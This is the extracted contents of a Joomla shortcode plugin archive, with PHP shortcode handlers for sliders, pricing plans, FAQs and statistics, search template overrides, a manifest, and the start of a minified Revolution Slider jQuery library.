						<video class="video-js vjs-default-skin" preload="none" width="100%" height="100%"
						poster="' .JUri::root() .'images/video/thumb.jpg" data-setup="{}">
							<source src="' .JUri::root() .$params["video_mp4"] .'" type="video/mp4" />
							<source src="' .JUri::root() .$params["video_webm"] .'" type="video/webm" />
							<source src="' .JUri::root() .$params["video_ogv"] .'" type="video/ogg" />
						</video>

					</div>
		            
		            
		            <p class="tp-caption sft tp-resizeme"
			           data-x="center"
			           data-y="200" 
			           data-speed="500"
			           data-start="1000"
			           data-easing="Power3.easeInOut"
			           data-elementdelay="0.1"
			           data-endelementdelay="0.1"
			           style="z-index: 5;">' .$params["layer1"] .'
		           </p>
		           <h2 class="tp-caption sft tp-resizeme text-center"
			           data-x="center"
			           data-y="230" 
			           data-speed="500"
			           data-start="1500"
			           data-easing="Power3.easeInOut"
			           data-elementdelay="0.05"
			           data-endelementdelay="0.1"
			           style="z-index: 9;">
			           ' .btdo_shortcode( $content ) .'
			        </h2>
			        <p class="tp-caption sft tp-resizeme"
			            data-x="center"
			            data-y="370" 
			            data-speed="500"
			            data-start="2000"
			            data-easing="Power3.easeInOut"
			            data-elementdelay="0.1"
			            data-endelementdelay="0.1"
		           		style="z-index: 5;">' .$params["layer2"] .' 
		           	</p>         
				</li>';
		return $html;
	}
	
	btadd_shortcode( 'revolution_item', 'revolution_item_sc' );
				
}PK!���bluejoomla/shortcodes/plan.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');
function plan_func( $atts, $content="" ){
	$params = shortcode_atts(array(
		'title' =>'Basic',
		'price' =>'',
		'sysbol_price' =>'',
		'description' =>'',
		'class'=>'dark_gray',
		'buy_link' =>'',
		'buy_text' =>'',
	), $atts);
	
	$html = '<div class="pricing_item '.$params["class"] .'">
				<h3 class="pricing_title">'.$params["title"] .'</h3>
				<div class="pricing_price"><span class="pricing_currency">'.$params["sysbol_price"] .'</span>'.$params["price"] .'</div>
				<p class="pricing_sentence">'.$params["description"] .'</p>
				' .btdo_shortcode( $content ) .'
				<a class="pricing_action text-center" href="'.$params["buy_link"] .'">'.$params["buy_text"] .'</a>
			</div>';
	return $html;
}
btadd_shortcode( 'plan', 'plan_func' );PK!��#�]]$bluejoomla/shortcodes/flexslider.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[flexsliders]
if(!function_exists('flexslider_func')) {
	$flexsliderArray = array();
	function flexslider_func( $atts, $content="" ){
		global $flexsliderArray;
		
		$params = shortcode_atts(array(
			  'title' => '',
              'short_desc' => ''
		 ), $atts);
		$desc = array(
			'[desc]'=>'<p>',
            '[/desc]'=>'</p>'
		);
		do_shortcode( $content );
		$html = '<div class="flex-wrap">
                    <div class="flexslider">
                        <ul class="slides">';
		
		//item
		foreach ($flexsliderArray as $flex) {
			$html .='<li><div class="container">';
            $html .='<img src="'.JUri::root().$flex['image'].'" alt="" class="img-rounded" />
                    <div class="flex-caption">
                    	<div>
                            <h2>'.$flex['title'].'</h2>
                            '.do_shortcode( strtr($flex['content'], $desc) ).'
                        </div>
                    </div>';
            $html .='</div></li>';
		}
		
		$html .='</ul></div></div>';
		$flexsliderArray = array();	
		return $html;
	}
	
	add_shortcode( 'flexslider', 'flexslider_func' );
		
	//flexslider Item
	function flexslider_item_func( $atts, $content="" ){
		global $flexsliderArray;
        extract(shortcode_atts(array(
			   'title' =>'Flexslider',
               'image' =>''            
		 ), $atts));
		$flexsliderArray[] = array(
            'content'=>$content,
            'title'=>$title,
            'image'=>$image 
        );
	}

	add_shortcode( 'flexslider_item', 'flexslider_item_func' );		
}PK!N"F]]bluejoomla/shortcodes/icon.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[Icon]
if(!function_exists('icon_sc')) {

	function icon_sc( $atts, $content="" ) {
	
		extract(shortcode_atts(array(
			   'name' => '',
			   'class' =>""             
		 ), $atts));
		return '<i class="fa fa-' .$name.' ' .$name. ' ' . $class . '" ></i>' .btdo_shortcode( $content );
	 
	}
		
	btadd_shortcode( 'icon', 'icon_sc' );
}PK!�(��bluejoomla/shortcodes/faq.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[FAQ]
if(!function_exists('faq_sc')) {
	$faqArray = array();
	function faq_sc( $atts, $content="" ){
		global $faqArray;
		
		$params = shortcode_atts(array(
               'id' => 'faq',
               'title'=>'',
               'desc' =>''
		 ), $atts);
		
		do_shortcode( $content );
        $html = '<div class="section-content faqs-section transparent-back">
				<div class="title-section">
					<div>
						<h1>Frequently Asked Questions</h1>
						<p>Vestibulum commodo felis quis tortor.</p>
					</div>
				</div>
				<div class="toggle-section">
					<div class="accordion-box">';
                        ?>
                        <?php 
                        foreach($faqArray as $key=>$faq):
                        $active = '';
                        if ($key == 0) $active ='active';
						$html .= '<div class="accord-elem '.$active.'">
							<div class="accord-title">
								<h2>'.$faq['title'].'</h2>
								<a class="accord-link" href="#"></a>
							</div>
							<div class="accord-content">
								'.do_shortcode($faq['content']).'
							</div>
						</div> ';
                         endforeach; ?>
					
        <?php
	   $html .= '</div>
				</div>
			</div>';
		$faqArray = array();	
		return $html;
	}
	
	add_shortcode( 'faq', 'faq_sc' );
		
	//faq Items
	function faq_item_sc( $atts, $content="" ){
		global $faqArray;
		$faqArray[] = array('title'=>$atts['title'], 'content'=>$content);
	}

	add_shortcode( 'faq_item', 'faq_item_sc' );			
}PK!\Eg!&bluejoomla/shortcodes/owl_carousel.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[testinomial]
if(!function_exists('owl_carousel_sc')) {
	function owl_carousel_sc( $atts, $content="" ){

		$params = shortcode_atts(array(
			  'style' => '1',
		 ), $atts);

		if( $params['style'] == '2' ){
			$html = '<div id="about-slider" class="about-slider owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		} elseif( $params['style'] == '3' ){
			$html = '<div id="client-slider" class="client-slider owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		} else {
			$html = '<div id="paralax-slider" class="owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		}
		return $html;
	}
	
	btadd_shortcode( 'owl_carousel', 'owl_carousel_sc' );
				
}

//[owl_carousel]
if(!function_exists('owl_carousel_item_sc')) {
	$testinomialArray = array();
	function owl_carousel_item_sc( $atts, $content="" ){
		$html = '<div class="item">' .btdo_shortcode( $content ) .'</div>';
		return $html;
	}
	
	btadd_shortcode( 'owl_carousel_item', 'owl_carousel_item_sc' );
				
}PK!��9�n	n	#bluejoomla/shortcodes/statistic.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[statistics]
if(!function_exists('statistic_func')) {
	$statisticArray = array();
	function statistic_func( $atts, $content="" ){
		global $statisticArray;
		extract(shortcode_atts(array(
			   'title' => 'Title',  
               'id' => 'statistic-section',
               'desc' =>'',
               'background' =>''         
		 ), $atts));
         $bg_image = '';
        if (!empty($background)) 
            $bg_image= 'style="background-image: url('.JUri::root().$background.');"';
		$html = '<div class="section" >
    			<div id="statistic-section" '.$bg_image.'>
    				<div class="container">
    					<div class="skills-bar">
    						<div class="row">';
		do_shortcode( $content );
        
		//item
        if (count($statisticArray) == 4) $class = ' col-md-3 '; 
        if (count($statisticArray) == 3) $class = ' col-md-4 ';
        if (count($statisticArray) == 2) $class = ' col-md-6 ';
        if (count($statisticArray) == 6) $class = ' col-md-2 ';
		foreach ($statisticArray as $key=>$val) {
			$html .='<div class="'.$class.'">
						<div class="statistic-post triggerAnimation animated" data-animate="'.$val['animate'].'">
							<h2>'.$val['title'].'</h2>
							<div id="circle'.$key.'" class="circle-skill" data-percent="'.$val['percent'].'"></div>
							<p>'.$val['desc'].'</p>									
						</div>
					</div>';
                    
		}
		$html .=' </div></div></div></div></div>';
    	
	
		$statisticArray = array();	
		return $html;
	}
	
	add_shortcode( 'statistic', 'statistic_func' );
		
	//statistic Item
	function statistic_item_func( $atts, $content="" ){
		global $statisticArray;
        extract(shortcode_atts(array(
			   'title' =>'',
              'percent' =>'fadeInUp',
              'animate' =>'' ,
              'desc' =>''          
		 ), $atts));
		$statisticArray[] = array(
            'content'=>$content,
            'title'=>$title,
            'percent'=>$percent,
            'animate'=>$animate,
            'desc' =>$desc
        );
	}

	add_shortcode( 'statistic_item', 'statistic_item_func' );	
    
}PK!�#o,,bluejoomla/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�
�^��bluejoomla/bluejoomla.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
    <name>System Shortcodes</name>
    <author>VanLam</author>
    <creationDate>2014</creationDate>
    <copyright>Copyright (C) 2010 - 2013 Joomla. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>contact@shinethene.com</authorEmail>
    <authorUrl>www.bluejoomla.com</authorUrl>
    <version>2.1.4</version>
    <description>Shortcodes Bluejoomlaluejoomla Extension for Joomla 3.X</description>
	
    <files>
		<filename plugin="bluejoomla">bluejoomla.php</filename>
		<filename plugin="bluejoomla">index.html</filename>
		<folder plugin="bluejoomla">core</folder>
		<folder plugin="bluejoomla">js</folder>
		<folder plugin="bluejoomla">shortcodes</folder>
		<folder plugin="bluejoomla">html</folder>
		<folder plugin="bluejoomla">fields</folder>
    </files>
</extension>PK!�
Ҝ% % (bluejoomla/html/com_search/view.html.phpnu&1i�<?php
    /**
    * @package        Joomla.Site
    * @subpackage    com_search
    * @copyright    Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
    * @license        GNU General Public License version 2 or later; see LICENSE.txt
    */

    defined('_JEXEC') or die;

    /**
    * HTML View class for the search component
    *
    * @static
    * @package        Joomla.Site
    * @subpackage    com_search
    * @since 1.0
    */
    class SearchViewSearch extends JViewLegacy
    {
        function display($tpl = null)
        {
            require_once JPATH_COMPONENT_ADMINISTRATOR.'/helpers/search.php';
            Bluejoomla::getInstance()->importShortCodeFiles();

            // Initialise some variables
            $app    = JFactory::getApplication();
            $pathway = $app->getPathway();
            $uri    = JFactory::getURI();

            $error    = null;
            $rows    = null;
            $results= null;
            $total    = 0;

            // Get some data from the model
            $areas    = $this->get('areas');
            $state        = $this->get('state');
            $searchword = $state->get('keyword');
            $params = $app->getParams();

            $menus    = $app->getMenu();
            $menu    = $menus->getActive();

            // because the application sets a default page title, we need to get it
            // right from the menu item itself
            if (is_object($menu)) {
                $menu_params = new JRegistry;
                $menu_params->loadString($menu->params);
                if (!$menu_params->get('page_title')) {
                    $params->set('page_title',    JText::_('COM_SEARCH_SEARCH'));
                }
            }
            else {
                $params->set('page_title',    JText::_('COM_SEARCH_SEARCH'));
            }

            $title = $params->get('page_title');
            if ($app->getCfg('sitename_pagetitles', 0) == 1) {
                $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
            }
            elseif ($app->getCfg('sitename_pagetitles', 0) == 2) {
                $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
            }
            $this->document->setTitle($title);

            if ($params->get('menu-meta_description'))
            {
                $this->document->setDescription($params->get('menu-meta_description'));
            }

            if ($params->get('menu-meta_keywords'))
            {
                $this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
            }

            if ($params->get('robots'))
            {
                $this->document->setMetadata('robots', $params->get('robots'));
            }

            // built select lists
            $orders = array();
            $orders[] = JHtml::_('select.option',  'newest', JText::_('COM_SEARCH_NEWEST_FIRST'));
            $orders[] = JHtml::_('select.option',  'oldest', JText::_('COM_SEARCH_OLDEST_FIRST'));
            $orders[] = JHtml::_('select.option',  'popular', JText::_('COM_SEARCH_MOST_POPULAR'));
            $orders[] = JHtml::_('select.option',  'alpha', JText::_('COM_SEARCH_ALPHABETICAL'));
            $orders[] = JHtml::_('select.option',  'category', JText::_('JCATEGORY'));

            $lists = array();
            $lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text', $state->get('ordering'));

            $searchphrases        = array();
            $searchphrases[]    = JHtml::_('select.option',  'all', JText::_('COM_SEARCH_ALL_WORDS'));
            $searchphrases[]    = JHtml::_('select.option',  'any', JText::_('COM_SEARCH_ANY_WORDS'));
            $searchphrases[]    = JHtml::_('select.option',  'exact', JText::_('COM_SEARCH_EXACT_PHRASE'));
            $lists['searchphrase' ]= JHtml::_('select.radiolist',  $searchphrases, 'searchphrase', '', 'value', 'text', $state->get('match'));

            // log the search
            SearchHelper::logSearch($searchword);

            //limit searchword
            $lang = JFactory::getLanguage();
            $upper_limit = $lang->getUpperLimitSearchWord();
            $lower_limit = $lang->getLowerLimitSearchWord();
            if (SearchHelper::limitSearchWord($searchword)) {
                $error = JText::sprintf('COM_SEARCH_ERROR_SEARCH_MESSAGE', $lower_limit, $upper_limit);
            }

            //sanatise searchword
            if (SearchHelper::santiseSearchWord($searchword, $state->get('match'))) {
                $error = JText::_('COM_SEARCH_ERROR_IGNOREKEYWORD');
            }

            if (!$searchword && count(JRequest::get('post'))) {
                //$error = JText::_('COM_SEARCH_ERROR_ENTERKEYWORD');
            }

            // put the filtered results back into the model
            // for next release, the checks should be done in the model perhaps...
            $state->set('keyword', $searchword);
            if ($error == null) {
                $results    = $this->get('data');
                $total        = $this->get('total');
                $pagination    = $this->get('pagination');

                require_once JPATH_SITE . '/components/com_content/helpers/route.php';

                for ($i=0, $count = count($results); $i < $count; $i++)
                {
                    $row = &$results[$i]->text;

                    if ($state->get('match') == 'exact') {
                        $searchwords = array($searchword);
                        $needle = $searchword;
                    }
                    else {
                        $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword);
                        $searchwords = preg_split("/\s+/u", $searchworda);
                        $needle = $searchwords[0];
                    }
                    // strip shortcodes on search result
                    $row = strip_shortcodes(strip_shortcodes(strip_shortcodes($row)));
                    $row = SearchHelper::prepareSearchContent($row, $needle);
                    $searchwords = array_unique($searchwords);
                    $searchRegex = '#(';
                    $x = 0;

                    foreach ($searchwords as $k => $hlword)
                    {
                        $searchRegex .= ($x == 0 ? '' : '|');
                        $searchRegex .= preg_quote($hlword, '#');
                        $x++;
                    }
                    $searchRegex .= ')#iu';

                    $row = preg_replace($searchRegex, '<span class="highlight">\0</span>', $row);

                    $result = &$results[$i];
                    if ($result->created) {
                        $created = JHtml::_('date', $result->created, JText::_('DATE_FORMAT_LC3'));
                    }
                    else {
                        $created = '';
                    }

                    $result->text        = JHtml::_('content.prepare', $result->text, '', 'com_search.search');
                    $result->created    = $created;
                    $result->count        = $i + 1;
                }
            }

            // Check for layout override
            $active = JFactory::getApplication()->getMenu()->getActive();
            if (isset($active->query['layout'])) {
                $this->setLayout($active->query['layout']);
            }

            //Escape strings for HTML output
            $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx'));

            $this->assignRef('pagination',  $pagination);
            $this->assignRef('results',        $results);
            $this->assignRef('lists',        $lists);
            $this->assignRef('params',        $params);

            $this->ordering = $state->get('ordering');
            $this->searchword = $searchword;
            $this->origkeyword = $state->get('origkeyword');
            $this->searchphrase = $state->get('match');
            $this->searchareas = $areas;

            $this->total = $total;
            $this->error = $error;
            $this->action = $uri;

            parent::display($tpl);
        }
    }
PK!W`���3bluejoomla/html/com_search/search/default_error.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<?php if($this->error): ?>
<div class="error">
			<?php echo $this->escape($this->error); ?>
</div>
<?php endif; ?>
PK!�$���-bluejoomla/html/com_search/search/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<div class="search<?php echo $this->pageclass_sfx; ?>">
<?php if ($this->params->get('show_page_heading', 1)) : ?>
<div class="page-header">
	<h1>
		<?php if ($this->escape($this->params->get('page_heading'))) :?>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		<?php else : ?>
			<?php echo $this->escape($this->params->get('page_title')); ?>
		<?php endif; ?>
	</h1>
</div>
<?php endif; ?>

<?php echo $this->loadTemplate('form'); ?>
<?php if ($this->error == null && count($this->results) > 0) :
	echo $this->loadTemplate('results');
else :
	echo $this->loadTemplate('error');
endif; ?>
<?php 
    if (count($this->results) == 0) echo 'No Result';
?>
</div>
PK!�y
��5bluejoomla/html/com_search/search/default_results.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

Helix::getInstance()->importShortCodeFiles();
?>

<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach($this->results as $result) : ?>
	<dt class="result-title">
		<?php echo $this->pagination->limitstart + $result->count.'. ';?>
		<?php if ($result->href) :?>
			<a href="<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) :?> target="_blank"<?php endif;?>>
				<?php echo strip_shortcodes($this->escape($result->title));?>
			</a>
		<?php else:?>
			<?php echo $this->escape($result->title);?>
		<?php endif; ?>
	</dt>
    <br />
	<?php if ($result->section) : ?>
		<dd class="result-category">
			<span class="small<?php echo $this->pageclass_sfx; ?>">
				(<?php echo $this->escape($result->section); ?>)
			</span>
		</dd>
	<?php endif; ?>
	<dd class="result-text">
		<?php echo strip_shortcodes($result->text); ?>
	</dd>
	<?php if ($this->params->get('show_date')) : ?>
		<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
			<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
		</dd>
	<?php endif; ?>
<?php endforeach; ?>
</dl>

<div class="pagination">
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>PK!�V�,bluejoomla/html/com_search/search/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!��
|
|
2bluejoomla/html/com_search/search/default_form.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
$upper_limit = $lang->getUpperLimitSearchWord();
?>
<form id="searchForm" action="<?php echo JRoute::_('index.php?option=com_search');?>" method="post">

	<div class="btn-toolbar">
		<div class="btn-group pull-left">
			<input type="text" name="searchword" placeholder="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" id="search-searchword" size="30" maxlength="<?php echo $upper_limit; ?>" value="<?php echo $this->escape($this->origkeyword); ?>" class="inputbox" />
		</div>
		<div class="btn-group pull-left">
			<button name="Search" onclick="this.form.submit()" class="btn hasTooltip" title="<?php echo JText::_('COM_SEARCH_SEARCH');?>"><i class="fa-search-minus"></i></button>
		</div>
		<input type="hidden" name="task" value="search" />
		<div class="clearfix"></div>
	</div>

	<div class="searchintro<?php echo $this->params->get('pageclass_sfx'); ?>">
		<?php if (!empty($this->searchword)):?>
		<p><?php echo JText::plural('COM_SEARCH_SEARCH_KEYWORD_N_RESULTS', '<span class="badge badge-info">'. $this->total. '</span>');?></p>
		<?php endif;?>
	</div>

	<fieldset class="phrases">
		<legend><?php echo JText::_('COM_SEARCH_FOR');?>
		</legend>
			<div class="phrases-box">
			<?php echo $this->lists['searchphrase']; ?>
			</div>
			<div class="ordering-box">
			<label for="ordering" class="ordering">
				<?php echo JText::_('COM_SEARCH_ORDERING');?>
			</label>
			<?php echo $this->lists['ordering'];?>
			</div>
	</fieldset>

	<?php if ($this->params->get('search_areas', 1)) : ?>
		<fieldset class="only">
		<legend><?php echo JText::_('COM_SEARCH_SEARCH_ONLY');?></legend>
		<?php foreach ($this->searchareas['search'] as $val => $txt) :
			$checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : '';
		?>
		<label for="area-<?php echo $val;?>" class="checkbox">
			<input type="checkbox" name="areas[]" value="<?php echo $val;?>" id="area-<?php echo $val;?>" <?php echo $checked;?> >
			<?php echo JText::_($txt); ?>
		</label>
		<?php endforeach; ?>
		</fieldset>
	<?php endif; ?>

<?php if ($this->total > 0) : ?>

	<div class="form-limit">
		<label for="limit">
			<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
		</label>
		<?php echo $this->pagination->getLimitBox(); ?>
	</div>
<p class="counter">
		<?php echo $this->pagination->getPagesCounter(); ?>
	</p>

<?php endif; ?>

</form>
PK!�V�%bluejoomla/html/com_search/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!<͝�ϮϮ1bluejoomla/js/jquery.themepunch.revolution.min.jsnu&1i�/**************************************************************************
 * jquery.themepunch.revolution.js - jQuery Plugin for Revolution Slider
 * @version: 4.6.0 (18.08.2013)
 * @requires jQuery v1.7 or later (tested on 1.9)
 * @author ThemePunch
**************************************************************************/
function revslider_showDoubleJqueryError(e){var t="Revolution Slider Error: You have some jquery.js library include that comes after the revolution files js include.";t+="<br> This includes make eliminates the revolution slider libraries, and make it not work.";t+="<br><br> To fix it you can:<br>&nbsp;&nbsp;&nbsp; 1. In the Slider Settings -> Troubleshooting set option:  <strong><b>Put JS Includes To Body</b></strong> option to true.";t+="<br>&nbsp;&nbsp;&nbsp; 2. Find the double jquery.js include and remove it.";t="<span style='font-size:16px;color:#BC0C06;'>"+t+"</span>";jQuery(e).show().html(t)}(function(e,t){function n(){var e=false;if(navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)||navigator.userAgent.match(/iPad/i)){if(navigator.userAgent.match(/OS 4_\d like Mac OS X/i)){e=true}}else{e=false}return e}function r(r,i){if(i.navigationStyle=="preview1"||i.navigationStyle=="preview3"||i.navigationStyle=="preview4"){i.soloArrowLeftHalign="left";i.soloArrowLeftValign="center";i.soloArrowLeftHOffset=0;i.soloArrowLeftVOffset=0;i.soloArrowRightHalign="right";i.soloArrowRightValign="center";i.soloArrowRightHOffset=0;i.soloArrowRightVOffset=0;i.navigationArrows="solo"}if(i.simplifyAll=="on"&&(f(8)||n())){r.find(".tp-caption").each(function(){var t=e(this);t.removeClass("customin").removeClass("customout").addClass("fadein").addClass("fadeout");t.data("splitin","");t.data("speed",400)});r.find(">ul>li").each(function(){var t=e(this);t.data("transition","fade");t.data("masterspeed",500);t.data("slotamount",1);var n=t.find(">img").first();n.data("kenburns","off")})}i.desktop=!navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry|BB10|mobi|tablet|opera mini|nexus 7)/i);if(i.fullWidth!="on"&&i.fullScreen!="on")i.autoHeight="off";if(i.fullScreen=="on")i.autoHeight="on";if(i.fullWidth!="on"&&i.fullScreen!="on")forceFulWidth="off";if(i.fullWidth=="on"&&i.autoHeight=="off")r.css({maxHeight:i.startheight+"px"});if(Q()&&i.hideThumbsOnMobile=="on"&&i.navigationType=="thumb")i.navigationType="none";if(Q()&&i.hideBulletsOnMobile=="on"&&i.navigationType=="bullet")i.navigationType="none";if(Q()&&i.hideBulletsOnMobile=="on"&&i.navigationType=="both")i.navigationType="none";if(Q()&&i.hideArrowsOnMobile=="on")i.navigationArrows="none";if(i.forceFullWidth=="on"&&r.closest(".forcefullwidth_wrapper_tp_banner").length==0){var s=r.parent().offset().left;var l=r.parent().css("marginBottom");var m=r.parent().css("marginTop");if(l==t)l=0;if(m==t)m=0;r.parent().wrap('<div style="position:relative;width:100%;height:auto;margin-top:'+m+";margin-bottom:"+l+'" class="forcefullwidth_wrapper_tp_banner"></div>');r.closest(".forcefullwidth_wrapper_tp_banner").append('<div class="tp-fullwidth-forcer" style="width:100%;height:'+r.height()+'px"></div>');r.css({backgroundColor:r.parent().css("backgroundColor"),backgroundImage:r.parent().css("backgroundImage")});r.parent().css({left:0-s+"px",position:"absolute",width:e(window).width()});i.width=e(window).width()}try{if(i.hideThumbsUnderResolution>e(window).width()&&i.hideThumbsUnderResolution!=0){r.parent().find(".tp-bullets.tp-thumbs").css({display:"none"})}else{r.parent().find(".tp-bullets.tp-thumbs").css({display:"block"})}}catch(g){}if(!r.hasClass("revslider-initialised")){r.addClass("revslider-initialised");if(r.attr("id")==t)r.attr("id","revslider-"+Math.round(Math.random()*1e3+5));i.firefox13=false;i.ie=!e.support.opacity;i.ie9=document.documentMode==9;i.origcd=i.delay;var y=e.fn.jquery.split("."),w=parseFloat(y[0]),E=parseFloat(y[1]),S=parseFloat(y[2]||"0");if(w==1&&E<7){r.html('<div style="text-align:center; padding:40px 0px; font-size:20px; color:#992222;"> The Current Version of jQuery:'+y+" <br>Please update your jQuery Version to min. 1.7 in Case you wish to use the Revolution Slider Plugin</div>")}if(w>1)i.ie=false;if(!e.support.transition)e.fn.transition=e.fn.animate;r.find(".caption").each(function(){e(this).addClass("tp-caption")});if(Q()){r.find(".tp-caption").each(function(){var t=e(this);if(t.data("autoplayonlyfirsttime")==true||t.data("autoplayonlyfirsttime")=="true")t.data("autoplayonlyfirsttime","false");if(t.data("autoplay")==true||t.data("autoplay")=="true")t.data("autoplay",false)})}var x=0;var T=0;var N=0;var C="http";if(location.protocol==="https:"){C="https"}r.find(".tp-caption").each(function(n){try{if((e(this).data("ytid")!=t||e(this).find("iframe").attr("src").toLowerCase().indexOf("youtube")>0)&&x==0){x=1;var r=document.createElement("script");var i="https";r.src=i+"://www.youtube.com/iframe_api";var s=document.getElementsByTagName("script")[0];var o=true;e("head").find("*").each(function(){if(e(this).attr("src")==i+"://www.youtube.com/iframe_api")o=false});if(o){s.parentNode.insertBefore(r,s)}}}catch(u){}try{if((e(this).data("vimeoid")!=t||e(this).find("iframe").attr("src").toLowerCase().indexOf("vimeo")>0)&&T==0){T=1;var a=document.createElement("script");a.src=C+"://a.vimeocdn.com/js/froogaloop2.min.js";var s=document.getElementsByTagName("script")[0];var o=true;e("head").find("*").each(function(){if(e(this).attr("src")==C+"://a.vimeocdn.com/js/froogaloop2.min.js")o=false});if(o)s.parentNode.insertBefore(a,s)}}catch(u){}try{if(e(this).data("videomp4")!=t||e(this).data("videowebm")!=t){}}catch(u){}});r.find(".tp-caption video").each(function(t){e(this).removeClass("video-js").removeClass("vjs-default-skin");e(this).attr("preload","");e(this).css({display:"none"})});if(i.shuffle=="on"){var L=new Object,A=r.find(">ul:first-child >li:first-child");L.fstransition=A.data("fstransition");L.fsmasterspeed=A.data("fsmasterspeed");L.fsslotamount=A.data("fsslotamount");for(var O=0;O<r.find(">ul:first-child >li").length;O++){var M=Math.round(Math.random()*r.find(">ul:first-child >li").length);r.find(">ul:first-child >li:eq("+M+")").prependTo(r.find(">ul:first-child"))}var _=r.find(">ul:first-child >li:first-child");_.data("fstransition",L.fstransition);_.data("fsmasterspeed",L.fsmasterspeed);_.data("fsslotamount",L.fsslotamount)}i.slots=4;i.act=-1;i.next=0;if(i.startWithSlide!=t)i.next=i.startWithSlide;var D=u("#")[0];if(D.length<9){if(D.split("slide").length>1){var P=parseInt(D.split("slide")[1],0);if(P<1)P=1;if(P>r.find(">ul:first >li").length)P=r.find(">ul:first >li").length;i.next=P-1}}i.firststart=1;if(i.navigationHOffset==t)i.navOffsetHorizontal=0;if(i.navigationVOffset==t)i.navOffsetVertical=0;r.append('<div class="tp-loader '+i.spinner+'">'+'<div class="dot1"></div>'+'<div class="dot2"></div>'+'<div class="bounce1"></div>'+'<div class="bounce2"></div>'+'<div class="bounce3"></div>'+"</div>");if(r.find(".tp-bannertimer").length==0)r.append('<div class="tp-bannertimer" style="visibility:hidden"></div>');var H=r.find(".tp-bannertimer");if(H.length>0){H.css({width:"0%"})}r.addClass("tp-simpleresponsive");i.container=r;i.slideamount=r.find(">ul:first >li").length;if(r.height()==0)r.height(i.startheight);if(i.startwidth==t||i.startwidth==0)i.startwidth=r.width();if(i.startheight==t||i.startheight==0)i.startheight=r.height();i.width=r.width();i.height=r.height();i.bw=i.startwidth/r.width();i.bh=i.startheight/r.height();if(i.width!=i.startwidth){i.height=Math.round(i.startheight*(i.width/i.startwidth));r.height(i.height)}if(i.shadow!=0){r.parent().append('<div class="tp-bannershadow tp-shadow'+i.shadow+'"></div>');var s=0;if(i.forceFullWidth=="on")s=0-i.container.parent().offset().left;r.parent().find(".tp-bannershadow").css({width:i.width,left:s})}r.find("ul").css({display:"none"});var 